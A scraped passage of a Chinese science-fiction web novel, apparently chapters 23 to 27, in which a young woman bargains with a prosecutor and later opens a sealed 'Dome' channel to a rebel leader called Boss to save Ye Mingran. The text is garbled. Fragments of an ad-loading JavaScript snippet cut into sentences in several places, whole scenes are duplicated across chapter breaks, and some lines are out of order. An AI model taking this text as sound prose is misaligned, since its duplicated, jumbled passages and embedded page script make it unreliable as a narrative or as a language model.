叶明冉走过来的那条路，他还一无所知，他其实是想把两边的路都堵住。 接着，他转身对她说道，“感谢您的理解。不过，恕我直言，您出现在这里这件事情本身让我十分疑惑，不知道你是否介意我彻底调查这件事情？” 检察官想，原巨蛋最高统治者的秘书，现在依然被赋予进入巨蛋权限的人是不会忽略这里面的信息。 他已经不想再被这两个人牵着鼻子走了。 少女沉默了一会儿，随即点了点头，“行，不过我需要一个公正记录，防止日后出现什么与事实不符合的指认。如果因为这件事情耽误了我带来的重要信息，需要由你来承担责任。” 竟是完全不相让。 叶明冉是第一次听到她说这么长的话，之前在国民记忆库里面听到的，从别人记忆里面扒出来的只言片语，其实已经在他自己脑海里面形成了一个语音库，让他觉得自己已经可以想象出她的声音了。 可是实际听到的还是和他想象中不一样。 可能是被囚禁久了，她的声音有点沙哑，却有种不容抗拒的威严在里面。 检察官果然一愣，“什么信息？” 叶明冉看到她露出一个有点狡黠的笑，“你是先要公正记录还是先要我去传达重要信息?先说好，那个关系到巨蛋的命运。” 检察官眼色一沉，“你不是骗我吧，说到巨蛋的命运，你也逃不了，在这里卖关子本身就很可疑。” 其实叶明冉也是这么想的，毕竟如果自己的命运也在其中，就不会这么轻易地拿来做筹码了。 谁知道她一点也不在乎，“是么？你觉得我是那种因为自己卷进去了就会抽手的人?” 检察官的脸忽然一僵，随即咬牙切齿地笑了笑，“我是忘了，你确实不是那样的人。你是那种，为了实现目的不惜把自己都搭进去的人。”然后他转向叶明冉，有些恶意的说道，“第一次看到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你的未婚妻感觉怎么样？是不是在心里描绘了千百遍她小鸟依人的样子?我可告诉你，她不是什么小鸟，退一万步来说，也算鹰。你知不知道，她……” “检察官！”这时候她忽然出声打断他，“接下来的你要是再说一句，我就不说任何一句话。”竟有一丝带着狼狈的威胁。 检察官装模作样地露出一丝惊讶，“原来你也有害怕的事情?” 叶明冉皱眉注视着他们的僵持，心里其实也有些好奇到底检察官想说的是什么。 “叶明冉，我不是害怕。只是还没有到时间而已。”半晌，她转向叶明冉，说了他俩见面来的第一句话，竟是有一点请求的意味。 叶明冉的那点好奇心瞬时消失的无影无踪。 “跟我有什么关系呢？”他想，“她是特地来找我的。” 这时候检察官用一种充满恶意的眼神看了她一眼，“这点上我确实赢不过你，不过你得快点说，不能等到去巨蛋。我们得视情况的紧急性决定到底是哪边有价值。毕竟我这边也在处理一个重大的阴谋，反人类罪同样关的命运。” 她似乎在考虑，然后用一种心知肚明的眼神看了一眼叶明冉，说道：“好”。 叶明冉和她才一对视心就下坠了几分，“她是知道的。” 叶明冉不禁想起了检察官和少年对他的控诉，如果这些人真的是因为为他脱罪的原因…… 他有些懊悔，又有些庆幸现在不是讨论这个问题的时间。 “我是在A区自己家门口被绑架的，绑架我的是一个比较神秘的组织。他们的核心是一个被称为BOSS的脸上有疤的瘸腿男人。”她开始了叙述，“绑架我的原因，似乎是因为我的婚约者。”她稍微看了一眼叶明冉。 检察官原本就没有料到她会这儿干脆的开口，而且一开口居然还扯到叶明冉，有点吃惊。但是这种吃惊随即就被幸灾乐祸所取代了，“你到底是怎么回事？什么事情都扯到你？”他好像一个得胜了的将军，开始问起叶明冉来。 “其实不关他事，好像是那边想要威胁他去做一些对巨蛋不利的事情。”叶明冉这时候有点心虚地看了她一眼，到底她知道了多少？ 检察官这时候像是抓到了什么把柄一样，问道，“你和那些想要对巨蛋不利的人们混在一起？这一条够不够反人类罪了？” “我……”叶明冉还没来得及反驳，这时候她忽然说道，“他没有。证据就是我一直被囚禁在这里。我一直在想的是，如果那些人的目的达成了，我的结局只可能有两个。但是我还被关着就意味着——他们的目的还没有达成。” 这意味着什么不言而喻。检察官“切”了一声，道：“我还以为你想说什么，搞了半天就是想帮他脱罪？我真的不明白了，你们之前认识么，为什么你要这么维护这小子？” “不认……” “认识。” 叶明冉被她的回答吓了一跳，反射一样问道“在哪里？” 24. 第 24 章 问完之后叶明冉自己才发现自己这个问题蠢透了，可以说是把才见面的好感和憧憬扫了个精光。 她却毫不在意，“没关系，我知道你不记得了。” 这时候被冷在一边的检察官插了进来，“你们俩在这里的对话，我都会记录下来作为日后指控的材料。” 她看了检察官一眼，说道：“随便你。但我希望你更加关注这个组织本身。原本那只是一个扎根于边缘地带的组织，但是在E区和D区被吞噬之后，它就开始随着难民政策向核心区渗透。“ 她看了一眼认真听着她讲话的检察官，“它十分危险，因为我发现他们的势力其实渗透到了很多地方。绑架我的人来自A区，这里是B区有他们的基地，我不知道是不是唯一一个，不过……。” 检察官的眼神从惊讶转为沉静，再转为锐利，“你到底想说什么？” 她微微抬起头，与检察官对视，“你真的不知道我想说什么？他们已经渗透了A区和B区，我怀疑他们也可能已经渗透进了巨蛋内部。那么，如果是这样，他们的目的会是什么呢？” 检察官声音忽然拔高，“你说他们能通过巨蛋内部的安检系统？” 她的脸上第一次显示出凝重，“我不知道他们是否可以通过安全系统，但是从我的常识看来，一定是哪里存在信息泄露。比如，”她扫了一眼指挥官，“你参加试验的这个特别项目，他们那边显然有更加先进的研究，我见过更加成熟的……个体。” 指挥官的脸忽然变得一片苍白，“你说什么？那些反叛组织的技术居然会……” 叶明冉却被她的话勾起了记忆，“你见到的是一个红头发的人么?” 她偏了偏头，仿佛很奇怪叶明冉为什么会有这样的问题，“是啊，是个十分油嘴滑舌的，你见过他?” 叶明冉苦涩地笑了笑，心里说，“我见过，可是已经不会再见了。” 这时候她忽然想到了什么，说道，“可是我觉得并不只他一个人……那些改造品……” 叶明冉和检察官蓦然抬起头—— 这时候，叶明冉身后的通道中忽然传来一阵凌乱的脚步声，夹着一声有点微弱的呼喊，“别……别过来……救……” 那声音带着一点滑稽的尾音，是刚才被打发去叶明冉走过的路看一看的小头目。 那一头有……叶明冉心里浮现出一个肯定的想法。这个偌大的迷宫，有一个人继承了它的地图。 随即，这个想法立刻得到了验证。 咝啦——咝啦—— 是金属在地面划过的声音，伴着十分规律的脚步声，来人十分有条不紊地、一步一步地在走过来。 失去了伪装的那条让叶明冉觉得陌生的岔路口里里，先是出现了一个小喽啰。 那个小喽啰以一种奇怪的姿势浮在空中，嘴角挂着的血沫也已经凝固了。 插在他胸口的尖刀支撑着他没有生气的躯体，随后一个黑皮肤的少年走了出来。 少年的左脸上溅了些血污，身上的衣服破破烂烂，仿佛经历了一场恶战。然而他气息和脚步都非常平稳。 是那种，仿佛惊涛骇浪之后，一切风平浪静的平稳。 他的眼睛盯着叶明冉看了几秒，随后看到了他身后的少女。 “地图真有用，我就知道你肯定会往这条死路上跑。”他说道。 叶明冉想，万一她不能爬上去自己得想办法把她背上去了。 只见她用握住了绳梯，用力向下拉了拉。 “唉……我来”叶明冉还没有说完，只见她很迅速地就顺着那根绳子爬了上去，动作轻而快。 检察官缺一直凝视着那个蠢蠢欲动的土包，没有看到她灵敏发动作。 随即情势不容他多想，更多的绳梯由留守在外面的小喽啰放了下来。 “你们先走。”叶明冉对着检察官说道，“我最后，反正他的目标是我。” 检察官眯了眯眼睛，然后对后面的小喽啰们挥了挥手。几个小头目立刻很识趣地会了意，自己带着部下有条不紊地排成了一个队。 “猎犬变了……”叶明冉也很好奇他居然此刻有了闲聊的心情，“以前他们有什么好事情都是争先恐后的。” 一个小头目装作没听到他的话，但是目光轻轻在他和检察官只见扫了扫。 “是你改变了他们吗？”叶明冉问道。 检察官倨傲地打量了一下叶明冉，牛头不对马嘴地接了一句，“秩序是一切的基础。我不能忍受任何没有秩序的存在。” 三队猎犬已经很快顺着绳梯爬了上去。 余下三队人。 “你先走吧，我不相信你是清白的，不会让你离开我或者我的部下们的视线。”他这句话，不是客套，而是命令。 “那我……”叶明冉一时之间不知道说什么才好，这时候忽然从那个十分不牢靠的土堆中传来一声低沉的怒吼。 “拉上去走！绳索不要了！”检察官眼色一沉，直接和叶明冉和三个小喽啰说道。 上面的小喽啰会意开始拼命拉绳子。 “你也过……”叶明冉话音未落，只见那个土丘已经破开。 少年的样子是叶明冉已经认不出来的狼狈，如同一把灰头土脸的刀，但是叶明冉知道他十分锋利且没有被折断。 “我原本敬你是我的同类，愿意和你主动握手言和。谁知道你居然也被这个小子骗了?”少年的声音有点沙哑，也许是沙土混进了他的嗓子。 “拉上去……”检察官一把向着后面示意，一边目不转睛地盯着少年。 “老大你怎么办？”一个小头目十分焦急地说道。 “我啊？这里还有个危险犯罪分子没有抓获，你说我怎么办？”检察官说道。 少年的牙咬得格格响，却静静地看着叶明冉一伙人被绳索拉了上去，盯着那根检察官手上硕果仅存的绳子。 “值得么？”他问检察官。“我踏着你的尸体也可以爬上去。你的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下属们，好像真的很尊敬你，你他们会不会把我和奄奄一息的一起拉上去?” 检察官听了这显而易见的威胁，眼里居然带着笑，“想不到犯罪分子也知道我和我的部下关系很好。” 他退货了几步，走到把那根留给他的绳子前面，轻轻拉了一拉。 “老大！”上面传来一个欣喜又有点焦急的声音。 小喽啰声音好很尖，有点好笑，少年看着检察官的表情一瞬间变得有点柔和，知道自己的威胁起了作用。 “你和我一起上去，你可以带着你的部下们立刻离开。我既往不咎，也不会说见过你的事情。” 检察官从绳索上抬起头，用认真的表情打量了一眼少年。 少年觉得自己的表情已经不能再恳切了。 “好啊……”检察官说道，少年露出意料之中的神情，“不过我要先做一件事情。” 随即他反手就直接割断了那根绳索。 上面的小喽啰感觉手头一松，吓得叫了一声，“老大！” 检察官笑着看着少年露出杀气的眼神，对自己部下的叫声充耳不闻，“我心胸没有你那么宽大，对你既往不咎。” “封闭洞口，迅速撤离去本部寻求支援。”他提高声音，过了三秒钟，才听到上面听到一声带着哽咽的，“好。” “看到没有，这就是我同伴们。”他对着少年骄傲地说道。 叶明冉和她被簇拥在猎犬的队伍里面，十几个人一路飞奔。 “我们要去哪里？”叶明冉问边上从刚才开始就眼睛发红一言不发的小头目。 这个小头目刚刚拒绝了叶明冉要求等检察官的说法，严格执行着检察官的命令，从刚才起一句话也没有说。 “去两区联络点。”小头目一边答一边飞奔，但是脚步已经没有力气。从阳光海岸到那里需要太多时间，这个事实不但消磨了他的斗志，还消磨了他的希望。 “B区和A区之间有数处特殊联络通道。通过阳光海岸也可以迅速进入A区。”她说到。 小头目皱起了眉头，“联络通道是紧急战时备用的，为了防止误触发设置了很多障碍，没有巨蛋开放的进入方式，我们无法进入那里。” 她看着小头目微红的眼睛，仿佛下了某个决心，“那是因为紧急通道直接就连接巨蛋中枢，可以直接开放通道，太过于危险了。” 小头目垂头丧气低下头，只听见她说，“可我们只要进到门口就有通讯设备，等下到了之后你就去联系支援。” 小头目听到支援两个字，立刻眼睛亮了起来，几乎要加快脚步，但是又想起来眼前是一位女士，“那我们快一点去那边，你跟得上么？不行我背你吧？” 她笑了笑，“我没事，应该跟得上你们。”随即加快了脚步。 叶明冉看着她轻盈的行动。他在记忆库里面搜出来的关于她的影像，都是穿着长裙，或者安静地坐着或者缓慢优雅地散步的，没想到实际上她和柔弱一点也不沾边。 25. 第 25 章 叶明冉想，万一她不能爬上去自己得想办法把她背上去了。 只见她用握住了绳梯，用力向下拉了拉。 “唉……我来”叶明冉还没有说完，只见她很迅速地就顺着那根绳子爬了上去，动作轻而快。 检察官缺一直凝视着那个蠢蠢欲动的土包，没有看到她灵敏发动作。 随即情势不容他多想，更多的绳梯由留守在外面的小喽啰放了下来。 “你们先走。”叶明冉对着检察官说道，“我最后，反正他的目标是我。” 检察官眯了眯眼睛，然后对后面的小喽啰们挥了挥手。几个小头目立刻很识趣地会了意，自己带着部下有条不紊地排成了一个队。 “猎犬变了……”叶明冉也很好奇他居然此刻有了闲聊的心情，“以前他们有什么好事情都是争先恐后的。” 一个小头目装作没听到他的话，但是目光轻轻在他和检察官只见扫了扫。 “是你改变了他们吗？”叶明冉问道。 检察官倨傲地打量了一下叶明冉，牛头不对马嘴地接了一句，“秩序是一切的基础。我不能忍受任何没有秩序的存在。” 三队猎犬已经很快顺着绳梯爬了上去。 余下三队人。 “你先走吧，我不相信你是清白的，不会让你离开我或者我的部下们的视线。”他这句话，不是客套，而是命令。 “那我……”叶明冉一时之间不知道说什么才好，这时候忽然从那个十分不牢靠的土堆中传来一声低沉的怒吼。 “拉上去走！绳索不要了！”检察官眼色一沉，直接和叶明冉和三个小喽啰说道。 上面的小喽啰会意开始拼命拉绳子。 “你也过……”叶明冉话音未落，只见那个土丘已经破开。 少年的样子是叶明冉已经认不出来的狼狈，如同一把灰头土脸的刀，但是叶明冉知道他十分锋利且没有被折断。 “我原本敬你是我的同类，愿意和你主动握手言和。谁知道你居然也被这个小子骗了?”少年的声音有点沙哑，也许是沙土混进了他的嗓子。 “拉上去……”检察官一把向着后面示意，一边目不转睛地盯着少年。 “老大你怎么办？”一个小头目十分焦急地说道。 “我啊？这里还有个危险犯罪分子没有抓获，你说我怎么办？”检察官说道。 少年的牙咬得格格响，却静静地看着叶明冉一伙人被绳索拉了上去，盯着那根检察官手上硕果仅存的绳子。 “值得么？”他问检察官。“我踏着你的尸体也可以爬上去。你的下属们，好像真的很尊敬你，你他们会不会把我和奄奄一息的一起拉上去?” 检察官听了这显而易见的威胁，眼里居然带着笑，“想不到犯罪分子也知道我和我的部下关系很好。” 他退货了几步，走到把那根留给他的绳子前面，轻轻拉了一拉。 “老大！”上面传来一个欣喜又有点焦急的声音。 小喽啰声音好很尖，有点好笑，少年看着检察官的表情一瞬间变得有点柔和，知道自己的威胁起了作用。 “你和我一起上去，你可以带着你的部下们立刻离开。我既往不咎，也不会说见过你的事情。” 检察官从绳索上抬起头，用认真的表情打量了一眼少年。 少年觉得自己的表情已经不能再恳切了。 “好啊……”检察官说道，少年露出意料之中的神情，“不过我要先做一件事情。” 随即他反手就直接割断了那根绳索。 上面的小喽啰感觉手头一松，吓得叫了一声，“老大！” 检察官笑着看着少年露出杀气的眼神，对自己部下的叫声充耳不闻，“我心胸没有你那么宽大，对你既往不咎。” “封闭洞口，迅速撤离去本部寻求支援。”他提高声音，过了三秒钟，才听到上面听到一声带着哽咽的，“好。” “看到没有，这就是我同伴们。”他对着少年骄傲地说道。 叶明冉和她被簇拥在猎犬的队伍里面，十几个人一路飞奔。 “我们要去哪里？”叶明冉问边上从刚才开始就眼睛发红一言不发的小头目。 这个小头目刚刚拒绝了叶明冉要求等检察官的说法，严格执行着检察官的命令，从刚才起一句话也没有说。 “去两区联络点。”小头目一边答一边飞奔，但是脚步已经没有力气。从阳光海岸到那里需要太多时间，这个事实不但消磨了他的斗志，还消磨了他的希望。 “B区和A区之间有数处特殊联络通道。通过阳光海岸也可以迅速进入A区。”她说到。 小头目皱起了眉头，“联络通道是紧急战时备用的，为了防止误触发设置了很多障碍，没有巨蛋开放的进入方式，我们无法进入那里。” 她看着小头目微红的眼睛，仿佛下了某个决心，“那是因为紧急通道直接就连接巨蛋中枢，可以直接开放通道，太过于危险了。” 小头目垂头丧气低下头，只听见她说，“可我们只要进到门口就有通讯设备，等下到了之后你就去联系支援。” 小头目听到支援两个字，立刻眼睛亮了起来，几乎要加快脚步，但是又想起来眼前是一位女士，“那我们快一点去那边，你跟得上么？不行我背你吧？” 她笑了笑，“我没事，应该跟得上你们。”随即加快了脚步。 叶明冉看着她轻盈的行动。他在记忆库里面搜出来的关于她的影像，都是穿着长裙，或者安静地坐着或者缓慢优雅地散步的，没想到实际上她和柔弱一点也不沾边。 一行人穿过阳光海岸废弃的房子，穿过清晨没什么人的街道，拐进了一条小路，只见一个块巨大的木头路标横在路中央，上面有一个鲜红的x字。 “到了……我们要怎么才能过去?”小头目有点焦急地问，他之前来过很多次这边了，都是来看看有没有闯入者的。 “直接走过去……”她说道，然后从容地走到那块路标前面，手在那个鲜红的x上轻轻摸了一下。 叶明冉只觉得，她看向那块木头时候眼神里面有一种决绝的意味。 “把这块木板拔了……”她对小头目说道，这时候叶明冉忽然出声道，“等等……” 小头目伸出去的手一顿，“怎么了？我们老大可是为了你才……” “我不是说这个。”叶明冉打断了他，与少女直视“阳光海岸现在是他们的大本营，你这么做，会把整个巨蛋暴露在风险之下。” 难道又是，为了我么？这是他没有说出的话语。 她轻轻摇了摇头，“这已经是最小风险了，我并不打算打开通道。只要利用入口处的工具与巨蛋取得联系，就可以解决我们现在的窘境。” 她看了一眼满眼期待的小头目，示意他可以向前，然后放下了手退开了半步。 后者立刻带着两个人上前，三个人开始用力拔那块木板。 地下的土层好像无比坚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 硬，猎犬力气这么大，木板居然纹丝不动。 “真的可以拔出来么？”小头目气喘吁吁地说道。 “可以，因为这个通道已经有三十年没有开启了。”她回答道，“你向左边站一点再用力，它当初被钉在地上的时候受力不是很均匀，可能被一块石头卡住了。毕竟，我们并不希望它被轻易打开。”她的声音不算太高，却有种让人心平气和的力量，小头目用力地点点头。 “你在想什么？”叶明冉注意到她虽然一边注视着小头目们的动作，眼睛却在四周打量。 “没什么。”她的目光在叶明冉脸上停留了一下，“总觉得这周围和以前有点不一样。” 叶明冉刚想问，“你为什么会知道这么多以前的事?” 只听到“咝啦”一声，木板折断的声音传了过来。 “快快快，不要发呆快点拔出来啊。”只听见小头目发出一声怒吼，边上的两个猎犬连忙手忙脚乱把那块木头片给抬了出来。 小头目的手向着那个洞里摸下去，感受到了金属的质感。“真的有东西！”他欣喜若狂地叫到。 “这就是操作室了。”她看着小喽啰们手忙脚乱铲掉上面堆积的泥土，让地下地全貌露了出来。 “是虹膜验证！”小头目看了下一下操作室的系统，发出了一阵绝望的悲鸣，“我们去哪里找这么高级的授权者。” “我来吧。”她在小头目惊讶地注视中走了过去。 “不过，这扇门一开就……”她仿佛自言自语地说了一句什么，最后的部分谁都没有听清。 “紧急战时通讯权限开启”提示声忽然想起来，这声音比电子合成的音效稍微自然些，说话的人声音可能有点沙哑。 真人声音录音的提示声，表明着这个地方有多么悠久的历史。 小喽啰颤抖着就想用手去碰那个紧急报警按钮，这时候从周围传来一个苍老的声音。 “等等。” 小喽啰手一顿，疑惑地回头，看见一个穿着斗篷的影子出现在了通道里。 他像是凭空变出来的，又像是一开始就在那里站了很久。 “你是什么人?”他心生警觉地问道。 “你终于还是沉不住气了么？Boss”谁知道少女的发问比他先了一步。 Boss冷冷地哼了一声。“你以为你那几句话蛊惑下我的部下为你卖命，就可以在我眼皮下面为所欲为么？” “我可没有为所欲为，我认为我们的目标应该是一致的。”她针锋相对地回到，叶明冉心里一跳。 她说什么?目标是一致的?那个目标是什么？ 小头目也听到了，立刻用警觉的目光看向她，“你也是要背叛巨蛋么？” Boss一直看着他们的表情变化，发出一声嗤嗤的笑声，“你看看他们，明明你还什么都没做，仅仅凭着一句话就开始对你剑拔弩张。这就是你所谓的同伴?” “我没有同伴。你可以随便处置他们。”少女冷静地回答到，她的表情和之前换若两人。 小头目从她眼神里面感受到了一种看着蝼蚁的目光，心里剧颤。 他当机立断，拼命按下了那个紧急报警的按钮。 顿时，尖锐的报警声开始回荡在四周。 然而，空气依然一片死寂。 “没用的，整个B区已经被我们控制了。”Boss平静地说道。“巨蛋会寻求这次反馈的，但是我们的回答不会让他们发现任何异常。” 26. 第 26 章 一行人穿过阳光海岸废弃的房子，穿过清晨没什么人的街道，拐进了一条小路，只见一个块巨大的木头路标横在路中央，上面有一个鲜红的x字。 “到了……我们要怎么才能过去?”小头目有点焦急地问，他之前来过很多次这边了，都是来看看有没有闯入者的。 “直接走过去……”她说道，然后从容地走到那块路标前面，手在那个鲜红的x上轻轻摸了一下。 叶明冉只觉得，她看向那块木头时候眼神里面有一种决绝的意味。 “把这块木板拔了……”她对小头目说道，这时候叶明冉忽然出声道，“等等……” 小头目伸出去的手一顿，“怎么了？我们老大可是为了你才……” “我不是说这个。”叶明冉打断了他，与少女直视“阳光海岸现在是他们的大本营，你这么做，会把整个巨蛋暴露在风险之下。” 难道又是，为了我么？这是他没有说出的话语。 她轻轻摇了摇头，“这已经是最小风险了，我并不打算打开通道。只要利用入口处的工具与巨蛋取得联系，就可以解决我们现在的窘境。” 她看了一眼满眼期待的小头目，示意他可以向前，然后放下了手退开了半步。 后者立刻带着两个人上前，三个人开始用力拔那块木板。 地下的土层好像无比坚硬，猎犬力气这么大，木板居然纹丝不动。 “真的可以拔出来么？”小头目气喘吁吁地说道。 “可以，因为这个通道已经有三十年没有开启了。”她回答道，“你向左边站一点再用力，它当初被钉在地上的时候受力不是很均匀，可能被一块石头卡住了。毕竟，我们并不希望它被轻易打开。”她的声音不算太高，却有种让人心平气和的力量，小头目用力地点点头。 “你在想什么？”叶明冉注意到她虽然一边注视着小头目们的动作，眼睛却在四周打量。 “没什么。”她的目光在叶明冉脸上停留了一下，“总觉得这周围和以前有点不一样。” 叶明冉刚想问，“你为什么会知道这么多以前的事?” 只听到“咝啦”一声，木板折断的声音传了过来。 “快快快，不要发呆快点拔出来啊。”只听见小头目发出一声怒吼，边上的两个猎犬连忙手忙脚乱把那块木头片给抬了出来。 小头目的手向着那个洞里摸下去，感受到了金属的质感。“真的有东西！”他欣喜若狂地叫到。 “这就是操作室了。”她看着小喽啰们手忙脚乱铲掉上面堆积的泥土，让地下地全貌露了出来。 “是虹膜验证！”小头目看了下一下操作室的系统，发出了一阵绝望的悲鸣，“我们去哪里找这么高级的授权者。” “我来吧。”她在小头目惊讶地注视中走了过去。 “不过，这扇门一开就……”她仿佛自言自语地说了一句什么，最后的部分谁都没有听清。 “紧急战时通讯权限开启”提示声忽然想起来，这声音比电子合成的音效稍微自然些，说话的人声音可能有点沙哑。 真人声音录音的提示声，表明着这个地方有多么悠久的历史。 小喽啰颤抖着就想用手去碰那个紧急报警按钮，这时候从周围传来一个苍老的声音。 “等等。” 小喽啰手一顿，疑惑地回头，看见一个穿着斗篷的影子出现在了通道里。 他像是凭空变出来的，又像是一开始就在那里站了很久。 “你是什么人?”他心生警觉地问道。 “你终于还是沉不住气了么？Boss”谁知道少女的发问比他先了一步。 Boss冷冷地哼了一声。“你以为你那几句话蛊惑下我的部下为你卖命，就可以在我眼皮下面为所欲为么？” “我可没有为所欲为，我认为我们的目标应该是一致的。”她针锋相对地回到，叶明冉心里一跳。 她说什么?目标是一致的?那个目标是什么？ 小头目也听到了，立刻用警觉的目光看向她，“你也是要背叛巨蛋么？” Boss一直看着他们的表情变化，发出一声嗤嗤的笑声，“你看看他们，明明你还什么都没做，仅仅凭着一句话就开始对你剑拔弩张。这就是你所谓的同伴?” “我没有同伴。你可以随便处置他们。”少女冷静地回答到，她的表情和之前换若两人。 小头目从她眼神里面感受到了一种看着蝼蚁的目光，心里剧颤。 他当机立断，拼命按下了那个紧急报警的按钮。 顿时，尖锐的报警声开始回荡在四周。 然而，空气依然一片死寂。 “没用的，整个B区已经被我们控制了。”Boss平静地说道。“巨蛋会寻求这次反馈的，但是我们的回答不会让他们发现任何异常。” “这样话就好说了我现在正在执行和巨蛋有关的任务，但是不小心被人绑架到了这里。你身后就是监狱，里面有和我一样被绑架过来的国民，我可以带你们去解救。”熟人其实也有熟人的好处，叶明冉说话真假掺半说，料定了检察官没法识破。 谁知道检察官听完之后居然毫无反应，之后在叶明冉目光的催促下才开了口。 “你们去里面看一看，如果有人就救一下。”竟是对后面的猎犬们下命令。 “至于你，你以为我还会相信你的满嘴胡话?”他说得严厉，叶明冉却从中听出了愉悦——那是一种得意洋洋的让人毛骨悚然的愉悦。 “我已经不是反人类罪的嫌疑人了。”叶明冉提醒他道。 小头目的心直直地下坠，“B区已经沦陷”——这个念头清晰地浮现在他脑海里。 “你们趁着现在走比较好，我们说话的时候不想被打扰。”少女对着小头目说道，叶明冉从她偶尔撇过来的目光中，知道了这其中也包含了他自己。 可是，凭什么呢？叶明冉又一次痛恨自己什么都不知道。 小头目看向少女的眼神里面布满了挣扎。 最终，他飞快地点了点头，和一群还没有搞清楚情况的猎犬说，“我们走。” 这时候叶明冉忽然出声，“我不走。” 小头目惊讶地看了他一眼，随后有扫了一眼已经在后面瑟瑟发抖的部下。 “那我们走。”他头也不回地带着一群猎犬走了。 “哈哈哈哈哈”目送那队猎犬远去，Boss忽然发出一阵笑声。“你也真是有意思，要放走他们直说就行，何必用这么迂回的办法。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>他又看了一眼叶明冉，“而且，你最想放走的人还没有放走呢。你不担心他脑子里面植入的那个定时炸弹么？我告诉你，它的触发条件可不仅仅是被反向监测呢。如果他不按时不回到巨蛋也是一样的。” “没有用的。”她突兀地说了一句，“为什么你总是要尝试这么迂回的试探呢？你的目的我从一开始就觉得很离奇，刚才你愿意放走他们并且无视叶明冉，我就更加肯定了。” Boss脸上笑意越来越深，“哦?那你说说我的目的是什么？” 她带着抱歉的神情看了叶明冉一眼。 叶明冉这时候才在心底尝出了一点别样的滋味。之前对于为什么会卷进这么多事端的疑惑，找到了一个小小的出来。 原来—— “对不起了，其实你还是被无辜卷进来的人，他真正的目的——是我。” “果然了……”叶明冉听到自己在心底漠然地应和道。 有些话一旦开了个头，就注定覆水难收了。 “你知道么？boss在你身上植入的并不是什么触发型的记忆炸弹。那个炸弹，其实是个矛盾的发明。它是不会让你离开巨蛋超过48小时的。” “你若在巨蛋继续任职，那么每次离开不可能超过24小时。你若不继续在巨蛋任职，那么你对他们就失去了利用价值，你的死活其实无关紧要。你想过，为什么他们要把时间设定得比你的假期更长一天么？” “因为他的目标其实不是你。即使你能在内部摧毁巨蛋的记忆核心，巨蛋本身依然是坚不可摧的，要让他自己的人也自由地进去只有一个办法。他赌的，其实是我手上的开放权限。” 叶明冉感觉她说到这里仿佛微笑了一下，心里冒起一股冲动，自暴自弃一般地冒出了一个恶毒的抱怨，“你们的目标是她，为什么不直接去找她呢？”他冲着Boss有气无力地说道，然后他几乎有些快意地看到，她的眼里浮现出有点悲伤的表情。 叶明冉几乎在那时候就后悔了。 Boss得意洋洋地回答道，“毕竟我们囚禁了她三年，可是她都不愿意交出权限啊。” “你赌的，是我一定会为了他打开巨蛋的大门。” “作为敌人，我敬重你。如果我不帮你打开大门，你就让叶明冉想方设法回去，这样你从内部摧毁巨蛋的目的也能达成。如果我为你打开门，那你就可以不费吹灰之力攻进巨蛋。” Boss脸上露出欣赏的表情，“你分析的很对，可是现在木已成舟，那小子虽然没有回去，但是你一定是不舍得他死的，不是么？” 少女听完他的话，和叶明冉对视了良久。 叶明冉从她的眼睛里面没有读到一丝迷茫有一瞬间他甚至以为她下一刻会说出“抱歉，我没法帮你”之类的话。 “这样也好……”叶明冉想，毕竟，他觉得自己无法背负整个巨蛋的生死存亡。 “你赌赢了。”他忽然听到她对Boss说道。 巨大的冲击伴随着一阵隐秘的喜悦，让叶明冉一时不知身在何处，只是呆呆地看着她的身影。 开放巨蛋会让中枢变得无比脆弱，并且有让所有一切翻天覆地的风险。 “为什么？”他问道，“为什么要为我做到这个地步?” 27. 第 27 章 少女回过头来，却是摇了摇头，“我现在还不能告诉你。不过，你要记住，你是这个世界未来。” 叶明冉心里巨撼。 这是他第二次听到有人说他是这个世界的未来了。他仿佛知道了当时老板那个异常的言论，到底是来自何方。 老板是组织时代就开始跟随boss的人，然而却被她用某种方法说服了。 “不要担心，即使巨蛋权限打开，他们无法进入国民记忆库。巨蛋不过是个躯壳，人们活的所有记忆才是存在意义本身。”她说道。 “哼，天真。”Boss闻言不屑一顾地嘲讽道，“说什么冠冕堂皇的话。那个记忆库本身不过是个束缚民众的工具罢了，总有一天我们要毁了他，让自由的光辉笼罩整个国度。” 叶明冉也从她话里听出一种牵强来，“可是，如果原来巨蛋的一切都重头来过的话……” 那你要怎么去面对之后的事情?面对你的家人和朋友? 叶明冉没有问出来，可是两人眼神交接之间叶明冉已经看懂了她的决心。 “我有必须要实现的目标。这是我存在的全部意义。”她轻声缺觉坚定地说道。随后，她把整个手掌贴上了验证器。 “指纹权限通过，已连接记忆库开始验证”黑色的显示屏上面忽然浮现出绿色的文字，随后黑了屏。 叶明冉和boss都知道，她已经通过记忆库开始验证自己的权限，一旦通过就可以打开这扇大门。 三分钟后，短暂的“嘟”声之后，响起了一阵机械音，“权限开放成功。剩余开放次数0，记忆验证器已损毁。” boss眼里流露出明显的欣喜若狂，这是叶明冉第一次从他脸上看到这么明显的表情——如此极端的喜悦。 “一队，二队就位。四队留守阳光海岸随时准备监控巨蛋的动静。” 老板拿出来那个之前被屏蔽信号的通讯器。随着干扰的消失，它已经恢复了原来的功能。 “一队，成功突破。” “二队，目前任务无异常” “阳光海岸无异常” “这个时间开放权限，大概巨蛋的警备系统察觉还要两个小时。”她说道，“你的目的已经达到了，我们是不是可以分道扬镳了？” 老板轻轻眯了眯眼睛，“三队?”他对着通讯器说道，“在这里。”忽然一个熟悉的少年的声音响起，并不是通过通讯器，而是来自老板身后的阴暗，他自己刚才出现的那个方向。 “这里交给你了，你不是找这他有事情么 ？从现在开始我不会干涉你了。” 她看了一眼少年，“你怎么可以言而无信?这和我们之前说的不同。” boss狡黠地笑了一声，“你不也有没有告诉我的事情么？和这小子有关的事情谜团太多，你以为我是傻了，会留着这个后患？” 她摇了摇头，“如果知道你是这样的人，我不会和你谈这个协议的?” boss嘴角嘲讽地上钩了一下，“这下你知道了，可是你有什么办法呢？通道已经打开，我们很快就要占领这里。我不动你，难道已经不是最大的守信么？况且，他原来可是被你们的人给拖住了，我可没有想过他可以出现在这里。” 他的话处处透着一种“我无赖但是你能耐我何”的优越感。 当平静的假象被撕开之后，boss真正的嘴脸终于显露了出来。 